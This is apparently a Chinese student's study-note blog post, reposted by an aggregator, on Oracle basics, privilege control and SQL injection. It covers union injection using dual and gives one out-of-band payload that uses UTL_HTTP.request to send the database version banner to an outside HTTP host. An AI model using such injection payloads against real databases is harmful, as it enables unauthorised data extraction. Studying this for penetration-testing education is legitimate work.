DAY9:SQL注入8-Oracle

Posted niangaosds

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DAY9:SQL注入8-Oracle相关的知识,希望对你有一定的参考价值。

一、Oracle基本使用
1. 如何登陆Oracle
打开cmd输入sqlplus(windows server 2008)
用户名:system
密码:123456
 
2. 增删改查
技术图片

 

 

 
二、Oracle权限控制
1. Oracle权限(重点
技术图片

 

 

2. 用户权限管理
技术图片
以system账号登录默认DBA权限
 
3. 表权限管理
技术图片

 

 

 
三、Oracle注入
1. union注入(判断回显点的时候要先确定数据类型,根据类型来union select,并且union语句也要from一个数据库,一般用dual测试,from dual
技术图片
 
2. 利用UTL_HTTP进行注入(常规注入是In Band,这里是OOB--Out Of Band),需要DBA的权限
技术图片
and (UTL_HTTP.request(‘http://192.168.18.145/sql/Less-1/index.php?id=‘||(select banner from sys.v_$version where rownum=1)))<‘a‘--
 
3. 利用Oracle注入拿下系统shell(待测试)
技术图片
原理:Oracle数据库可以利用java代码执行命令
 
 

以上是关于DAY9:SQL注入8-Oracle的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入分类有哪些,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

sql注入漏洞都有哪些

关于SQL注入

sql注入一

sql 注入是啥?

如何判断是不是存在SQL注入以及注入类型?